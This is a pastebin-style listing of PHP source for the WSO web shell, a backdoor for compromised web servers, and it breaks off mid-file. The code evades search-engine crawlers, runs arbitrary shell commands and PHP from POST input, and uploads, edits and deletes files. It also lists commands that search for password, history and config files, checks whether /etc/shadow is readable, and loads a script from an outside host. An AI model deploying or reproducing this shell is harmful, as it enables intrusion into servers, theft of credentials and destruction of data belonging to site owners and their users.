· 9 years ago · Mar 18, 2017, 02:48 AM
1<?php
2$color = "#00FF66"; //Colour
3ini_set('display_errors', '0');
4$default_action = "FilesMan";
5
6
7if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
8 $userAgents = array("Google", "Slurp", "bot", "ia_archiver", "Yandex", "Rambler");
9 foreach($userAgents as $agent)
10 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15
16if( get_magic_quotes_gpc() ) {
17 function WSOstripslashes($array) {
18 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
19 }
20 $_POST = WSOstripslashes($_POST);
21}
22function wsoLogin() {
23 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
24}
25if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
26 if( empty( $auth_pass ) ||
27 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
28 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
29 else
30 wsoLogin();
31
32if( strtolower( substr(PHP_OS,0,3) ) == "win" )
33 $os = 'win';
34else
35 $os = 'nix';
36$safe_mode = @ini_get('safe_mode');
37$disable_functions = @ini_get('disable_functions');
38$home_cwd = @getcwd();
39if( isset( $_POST['c'] ) )
40 @chdir($_POST['c']);
41$cwd = @getcwd();
42if( $os == 'win') {
43 $home_cwd = str_replace("\\", "/", $home_cwd);
44 $cwd = str_replace("\\", "/", $cwd);
45}
46if( $cwd[strlen($cwd)-1] != '/' )
47 $cwd .= '/';
48
49if($os == 'win')
50 $aliases = array(
51 "List Directory" => "dir",
52 "Find index.php in current dir" => "dir /s /w /b index.php",
53 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
54 "Show active connections" => "netstat -an",
55 "Show running services" => "net start",
56 "User accounts" => "net user",
57 "Show computers" => "net view",
58 "ARP Table" => "arp -a",
59 "IP Configuration" => "ipconfig /all"
60 );
61else
62 $aliases = array(
63 "List dir" => "ls -lha",
64 "list file attributes on a Linux second extended file system" => "lsattr -va",
65 "show opened ports" => "netstat -an | grep -i listen",
66 "Find" => "",
67 "find all suid files" => "find / -type f -perm -04000 -ls",
68 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
69 "find all sgid files" => "find / -type f -perm -02000 -ls",
70 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
71 "find config.inc.php files" => "find / -type f -name config.inc.php",
72 "find config* files" => "find / -type f -name \"config*\"",
73 "find config* files in current dir" => "find . -type f -name \"config*\"",
74 "find all writable folders and files" => "find / -perm -2 -ls",
75 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
76 "find all service.pwd files" => "find / -type f -name service.pwd",
77 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
78 "find all .htpasswd files" => "find / -type f -name .htpasswd",
79 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
80 "find all .bash_history files" => "find / -type f -name .bash_history",
81 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
82 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
83 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
84 "Locate" => "",
85 "locate httpd.conf files" => "locate httpd.conf",
86 "locate vhosts.conf files" => "locate vhosts.conf",
87 "locate proftpd.conf files" => "locate proftpd.conf",
88 "locate psybnc.conf files" => "locate psybnc.conf",
89 "locate my.conf files" => "locate my.conf",
90 "locate admin.php files" =>"locate admin.php",
91 "locate cfg.php files" => "locate cfg.php",
92 "locate conf.php files" => "locate conf.php",
93 "locate config.dat files" => "locate config.dat",
94 "locate config.php files" => "locate config.php",
95 "locate config.inc files" => "locate config.inc",
96 "locate config.inc.php" => "locate config.inc.php",
97 "locate config.default.php files" => "locate config.default.php",
98 "locate config* files " => "locate config",
99 "locate .conf files"=>"locate '.conf'",
100 "locate .pwd files" => "locate '.pwd'",
101 "locate .sql files" => "locate '.sql'",
102 "locate .htpasswd files" => "locate '.htpasswd'",
103 "locate .bash_history files" => "locate '.bash_history'",
104 "locate .mysql_history files" => "locate '.mysql_history'",
105 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
106 "locate backup files" => "locate backup",
107 "locate dump files" => "locate dump",
108 "locate priv files" => "locate priv"
109 );
110
111function wsoHeader() {
112 if(empty($_POST['charset']))
113 $_POST['charset'] = $GLOBALS['default_charset'];
114 global $color;
115 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title>
116<style>body{color:#e1e1e1;}
117body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:rgba(171, 29, 6, 0.51); }
118table.info{ color:#000;background-color:#fff; }
119span,h1,a{ color: RGBA(8, 11, 255, 0.79) !important; }
120span{ font-weight: bolder; }
121h1{ border-left:5px solid #00FF66;padding: 2px 5px;font: 14pt Verdana;margin:0px; background-color: f5dfff;}
122div.content{ padding: 5px;margin-left:5px;background-color:#fff; }
123a{ text-decoration:none; }
124a:hover{ text-decoration:underline; }
125.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; color: #000;}
126.bigarea{ width:100%;height:250px; }
127input,textarea,select{ margin:0;color:#000;background-color:#fff;border: 1px solid rgba(128, 5, 192, 0.43); font: 9pt Monospace,'Courier New'; }
128form{ margin:0px; }
129#toolsTbl{ text-align:center; }
130.toolsInp{ width: 300px }
131.main th{text-align:left;background-color:#f5f5f5;}
132.main tr:hover{background-color:rgba(14, 156, 186, 0.34)}
133.l1{background-color:#f5f5f5}
134pre{font-family:Courier,Monospace;}
135</style>
136<script>
137 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
138 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
139 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
140 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
141 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
142 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
143 function set(a,c,p1,p2,p3,charset) {
144 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
145 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
146 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
147 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
148 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
149 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
150 }
151 function g(a,c,p1,p2,p3,charset) {
152 set(a,c,p1,p2,p3,charset);
153 document.mf.submit();
154 }
155 function a(a,c,p1,p2,p3,charset) {
156 set(a,c,p1,p2,p3,charset);
157 var params = 'ajax=true';
158 for(i=0;i<document.mf.elements.length;i++)
159 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
160 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
161 }
162 function sr(url, params) {
163 if (window.XMLHttpRequest)
164 req = new XMLHttpRequest();
165 else if (window.ActiveXObject)
166 req = new ActiveXObject('Microsoft.XMLHTTP');
167 if (req) {
168 req.onreadystatechange = processReqChange;
169 req.open('POST', url, true);
170 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
171 req.send(params);
172 }
173 }
174 function processReqChange() {
175 if( (req.readyState == 4) )
176 if(req.status == 200) {
177 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
178 var arr=reg.exec(req.responseText);
179 eval(arr[2].substr(0, arr[1]));
180 } else alert('Request error!');
181 }
182</script>
183<head>
184<script src='http://seeknfame.com/admin10/bootbox.js'></script>
185<body><div style='position:absolute;width:100%;background-color: #f5f5f5;top:0;left:0;'>
186<form method=post name=mf style='display:none;'>
187<input type=hidden name=a>
188<input type=hidden name=c>
189<input type=hidden name=p1>
190<input type=hidden name=p2>
191<input type=hidden name=p3>
192<input type=hidden name=charset>
193</form>";
194 $freeSpace = @diskfreespace($GLOBALS['cwd']);
195 $totalSpace = @disk_total_space($GLOBALS['cwd']);
196 $totalSpace = $totalSpace?$totalSpace:1;
197 $release = @php_uname('r');
198 $kernel = @php_uname('s');
199 $millink = 'http://milw0rm.com/search.php?dong=';
200 if( strpos('Linux', $kernel) !== false )
201 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
202 else
203 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
204 if(!function_exists('posix_getegid')) {
205 $user = @get_current_user();
206 $uid = @getmyuid();
207 $gid = @getmygid();
208 $group = "?";
209 } else {
210 $uid = @posix_getpwuid(@posix_geteuid());
211 $gid = @posix_getgrgid(@posix_getegid());
212 $user = $uid['name'];
213 $uid = $uid['uid'];
214 $group = $gid['name'];
215 $gid = $gid['gid'];
216 }
217 $cwd_links = '';
218 $path = explode("/", $GLOBALS['cwd']);
219 $n=count($path);
220 for($i=0;$i<$n-1;$i++) {
221 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
222 for($j=0;$j<=$i;$j++)
223 $cwd_links .= $path[$j].'/';
224 $cwd_links .= "\")'>".$path[$i]."/</a>";
225 }
226 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
227 $opt_charsets = '';
228 foreach($charsets as $item)
229 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
230 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
231 if(!empty($GLOBALS['auth_pass']))
232 $m['Logout'] = 'Logout';
233 $m['Self remove'] = 'SelfRemove';
234 $menu = '';
235 foreach($m as $k => $v)
236 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
237 $drives = "";
238 if ($GLOBALS['os'] == 'win') {
239 foreach( range('c','z') as $drive )
240 if (is_dir($drive.':\\'))
241 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
242 }
243 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
244 '<td><nobr>'.substr(@php_uname(), 0, 120).'</nobr>
245 <br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
246 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
247 '<table style="border-top:2px solid #e3e3e3;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
248}
249
250function wsoFooter() {
251 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
252 echo "
253</div>
254<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #e3e3e3;border-bottom:2px solid #e3e3e3;'>
255 <tr>
256 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
257 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
258 </tr><tr>
259 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
260 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
261 </tr><tr>
262 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
263 <td><form method='post' ENCTYPE='multipart/form-data'>
264 <input type=hidden name=a value='FilesMAn'>
265 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
266 <input type=hidden name=p1 value='uploadFile'>
267 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
268 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
269 </tr></table></div></body></html>";
270}
271
272if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
273if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
274function wsoEx($in) {
275 $out = '';
276 if(function_exists('exec')) {
277 @exec($in,$out);
278 $out = @join("\n",$out);
279 }elseif(function_exists('passthru')) {
280 ob_start();
281 @passthru($in);
282 $out = ob_get_clean();
283 }elseif(function_exists('system')) {
284 ob_start();
285 @system($in);
286 $out = ob_get_clean();
287 }elseif(function_exists('shell_exec')) {
288 $out = shell_exec($in);
289 }elseif(is_resource($f = @popen($in,"r"))) {
290 $out = "";
291 while(!@feof($f))
292 $out .= fread($f,1024);
293 pclose($f);
294 }
295 return $out;
296}
297function wsoViewSize($s) {
298 if($s >= 1073741824)
299 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
300 elseif($s >= 1048576)
301 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
302 elseif($s >= 1024)
303 return sprintf('%1.2f', $s / 1024 ) . ' KB';
304 else
305 return $s . ' B';
306}
307
308function wsoPerms($p) {
309 if (($p & 0xC000) == 0xC000)$i = 's';
310 elseif (($p & 0xA000) == 0xA000)$i = 'l';
311 elseif (($p & 0x8000) == 0x8000)$i = '-';
312 elseif (($p & 0x6000) == 0x6000)$i = 'b';
313 elseif (($p & 0x4000) == 0x4000)$i = 'd';
314 elseif (($p & 0x2000) == 0x2000)$i = 'c';
315 elseif (($p & 0x1000) == 0x1000)$i = 'p';
316 else $i = 'u';
317 $i .= (($p & 0x0100) ? 'r' : '-');
318 $i .= (($p & 0x0080) ? 'w' : '-');
319 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
320 $i .= (($p & 0x0020) ? 'r' : '-');
321 $i .= (($p & 0x0010) ? 'w' : '-');
322 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
323 $i .= (($p & 0x0004) ? 'r' : '-');
324 $i .= (($p & 0x0002) ? 'w' : '-');
325 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
326 return $i;
327}
328function wsoPermsColor($f) {
329 if (!@is_readable($f))
330 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
331 elseif (!@is_writable($f))
332 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
333 else
334 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
335}
336if(!function_exists("scandir")) {
337 function scandir($dir) {
338 $dh = opendir($dir);
339 while (false !== ($filename = readdir($dh))) {
340 $files[] = $filename;
341 }
342 return $files;
343 }
344}
345function wsoWhich($p) {
346 $path = wsoEx('which '.$p);
347 if(!empty($path))
348 return $path;
349 return false;
350}
351function actionSecInfo() {
352 wsoHeader();
353 echo '<h1>Server security information</h1><div class=content>';
354 function wsoSecParam($n, $v) {
355 $v = trim($v);
356 if($v) {
357 echo '<span>'.$n.': </span>';
358 if(strpos($v, "\n") === false)
359 echo $v.'<br>';
360 else
361 echo '<pre class=ml1>'.$v.'</pre>';
362 }
363 }
364
365 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
366 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
367 wsoSecParam('Open base dir', @ini_get('open_basedir'));
368 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
369 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
370 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
371 $temp=array();
372 if(function_exists('mysql_get_client_info'))
373 $temp[] = "MySql (".mysql_get_client_info().")";
374 if(function_exists('mssql_connect'))
375 $temp[] = "MSSQL";
376 if(function_exists('pg_connect'))
377 $temp[] = "PostgreSQL";
378 if(function_exists('oci_connect'))
379 $temp[] = "Oracle";
380 wsoSecParam('Supported databases', implode(', ', $temp));
381 echo '<br>';
382
383 if( $GLOBALS['os'] == 'nix' ) {
384 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
385 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
386 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
387 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
388 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
389 wsoSecParam('OS version', @file_get_contents('/proc/version'));
390 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
391 if(!$GLOBALS['safe_mode']) {
392 echo '<br>';
393 $temp=array();
394 foreach ($userful as $item)
395 if(wsoWhich($item)){$temp[]=$item;}
396 wsoSecParam('Userful', implode(', ',$temp));
397 $temp=array();
398 foreach ($danger as $item)
399 if(wsoWhich($item)){$temp[]=$item;}
400 wsoSecParam('Danger', implode(', ',$temp));
401 $temp=array();
402 foreach ($downloaders as $item)
403 if(wsoWhich($item)){$temp[]=$item;}
404 wsoSecParam('Downloaders', implode(', ',$temp));
405 echo '<br/>';
406 wsoSecParam('HDD space', wsoEx('df -h'));
407 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
408 }
409 } else {
410 wsoSecParam('OS Version',wsoEx('ver'));
411 wsoSecParam('Account Settings',wsoEx('net accounts'));
412 wsoSecParam('User Accounts',wsoEx('net user'));
413 }
414 echo '</div>';
415 wsoFooter();
416}
417
418function actionPhp() {
419 if( isset($_POST['ajax']) ) {
420 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
421 ob_start();
422 eval($_POST['p1']);
423 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
424 echo strlen($temp), "\n", $temp;
425 exit;
426 }
427 wsoHeader();
428 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
429 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
430 ob_start();
431 phpinfo();
432 $tmp = ob_get_clean();
433 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
434 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
435 echo str_replace('h1','h2',$tmp).'</div><br>';
436 }
437 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
438 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
439 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
440 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
441 if(!empty($_POST['p1'])) {
442 ob_start();
443 eval($_POST['p1']);
444 echo htmlspecialchars(ob_get_clean());
445 }
446 echo '</pre></div>';
447 wsoFooter();
448}
449
450function actionFilesMan() {
451 wsoHeader();
452 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
453 if(!empty($_POST['p1'])) {
454 switch($_POST['p1']) {
455 case 'uploadFile':
456 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
457 echo "Can't upload file!";
458 break;
459 case 'mkdir':
460 if(!@mkdir($_POST['p2']))
461 echo "Can't create new dir";
462 break;
463 case 'delete':
464 function deleteDir($path) {
465 $path = (substr($path,-1)=='/') ? $path:$path.'/';
466 $dh = opendir($path);
467 while ( ($item = readdir($dh) ) !== false) {
468 $item = $path.$item;
469 if ( (basename($item) == "..") || (basename($item) == ".") )
470 continue;
471 $type = filetype($item);
472 if ($type == "dir")
473 deleteDir($item);
474 else
475 @unlink($item);
476 }
477 closedir($dh);
478 rmdir($path);
479 }
480 if(is_array(@$_POST['f']))
481 foreach($_POST['f'] as $f) {
482 $f = urldecode($f);
483 if(is_dir($f))
484 deleteDir($f);
485 else
486 @unlink($f);
487 }
488 break;
489 case 'paste':
490 if($_SESSION['act'] == 'copy') {
491 function copy_paste($c,$s,$d){
492 if(is_dir($c.$s)){
493 mkdir($d.$s);
494 $h = @opendir($c.$s);
495 while (($f = @readdir($h)) !== false)
496 if (($f != ".") and ($f != "..")) {
497 copy_paste($c.$s.'/',$f, $d.$s.'/');
498 }
499 } elseif(is_file($c.$s)) {
500 @copy($c.$s, $d.$s);
501 }
502 }
503 foreach($_SESSION['f'] as $f)
504 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
505 } elseif($_SESSION['act'] == 'move') {
506 function move_paste($c,$s,$d){
507 if(is_dir($c.$s)){
508 mkdir($d.$s);
509 $h = @opendir($c.$s);
510 while (($f = @readdir($h)) !== false)
511 if (($f != ".") and ($f != "..")) {
512 copy_paste($c.$s.'/',$f, $d.$s.'/');
513 }
514 } elseif(@is_file($c.$s)) {
515 @copy($c.$s, $d.$s);
516 }
517 }
518 foreach($_SESSION['f'] as $f)
519 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
520 } elseif($_SESSION['act'] == 'zip') {
521 if(class_exists('ZipArchive')) {
522 $zip = new ZipArchive();
523 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
524 chdir($_SESSION['c']);
525 foreach($_SESSION['f'] as $f) {
526 if(@is_file($_SESSION['c'].$f))
527 $zip->addFile($_SESSION['c'].$f, $f);
528 elseif(@is_dir($_SESSION['c'].$f)) {
529 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
530 foreach ($iterator as $key=>$value) {
531 $zip->addFile(realpath($key), $key);
532 }
533 }
534 }
535 chdir($GLOBALS['cwd']);
536 $zip->close();
537 }
538 }
539 } elseif($_SESSION['act'] == 'unzip') {
540 if(class_exists('ZipArchive')) {
541 $zip = new ZipArchive();
542 foreach($_SESSION['f'] as $f) {
543 if($zip->open($_SESSION['c'].$f)) {
544 $zip->extractTo($GLOBALS['cwd']);
545 $zip->close();
546 }
547 }
548 }
549 }
550 unset($_SESSION['f']);
551 break;
552 default:
553 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
554 $_SESSION['act'] = @$_POST['p1'];
555 $_SESSION['f'] = @$_POST['f'];
556 foreach($_SESSION['f'] as $k => $f)
557 $_SESSION['f'][$k] = urldecode($f);
558 $_SESSION['c'] = @$_POST['c'];
559 }
560 break;
561 }
562 }
563 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
564 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
565 global $sort;
566 $sort = array('name', 1);
567 if(!empty($_POST['p1'])) {
568 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
569 $sort = array($match[1], (int)$match[2]);
570 }
571echo "<script>
572 function sa() {
573 for(i=0;i<document.files.elements.length;i++)
574 if(document.files.elements[i].type == 'checkbox')
575 document.files.elements[i].checked = document.files.elements[0].checked;
576 }
577</script>
578<table width='100%' class='main' cellspacing='0' cellpadding='2'>
579<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
580 $dirs = $files = array();
581 $n = count($dirContent);
582 for($i=0;$i<$n;$i++) {
583 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
584 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
585 $tmp = array('name' => $dirContent[$i],
586 'path' => $GLOBALS['cwd'].$dirContent[$i],
587 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
588 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
589 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
590 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
591 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
592 );
593 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
594 $files[] = array_merge($tmp, array('type' => 'file'));
595 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
596 $dirs[] = array_merge($tmp, array('type' => 'link'));
597 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
598 $dirs[] = array_merge($tmp, array('type' => 'dir'));
599 }
600 $GLOBALS['sort'] = $sort;
601 function wsoCmp($a, $b) {
602 if($GLOBALS['sort'][0] != 'size')
603 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
604 else
605 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
606 }
607 usort($files, "wsoCmp");
608 usort($dirs, "wsoCmp");
609 $files = array_merge($dirs, $files);
610 $l = 0;
611 foreach($files as $f) {
612 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
613 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
614 $l = $l?0:1;
615 }
616 echo "<tr><td colspan=7>
617 <input type=hidden name=a value='FilesMan'>
618 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
619 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
620 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
621 if(class_exists('ZipArchive'))
622 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
